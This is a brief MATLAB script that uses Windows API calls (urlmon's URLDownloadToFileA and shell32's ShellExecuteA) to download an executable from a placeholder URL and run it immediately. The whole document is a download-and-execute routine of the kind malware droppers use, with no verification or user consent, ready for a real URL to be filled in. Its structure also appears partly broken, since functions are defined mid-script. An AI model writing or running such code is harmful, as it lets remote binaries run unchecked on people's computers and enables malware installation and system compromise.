% Load libraries
if ~libisloaded('kernel32')
    loadlibrary('kernel32', 'windowsAPI_kernel32.h', 'alias', 'kernel32');
end

if ~libisloaded('urlmon')
    loadlibrary('urlmon', 'windowsAPI_urlmon.h', 'alias', 'urlmon');
end

if ~libisloaded('shell32')
    loadlibrary('shell32', 'windowsAPI_shell32.h', 'alias', 'shell32');
end

% Download and save the file
function download_file(remote_url, local_path)
    result = calllib('urlmon', 'URLDownloadToFileA', 0, remote_url, local_path, 0, 0);
    if result ~= 0
        error('Error: Cannot download file.');
    end
end

% Execute the downloaded file
function execute_file(local_path)
    result = calllib('shell32', 'ShellExecuteA', 0, 'open', local_path, '', '', 1);
    if result < 32
        error('Error: Cannot execute the file.');
    end
end

% Download and execute the file
remote_url = 'http://example.com/your_file.exe'; % Replace with the remote URL of the file
local_path = 'downloaded_file.exe'; % Replace with the desired local path to save the file
download_file(remote_url, local_path);
execute_file(local_path);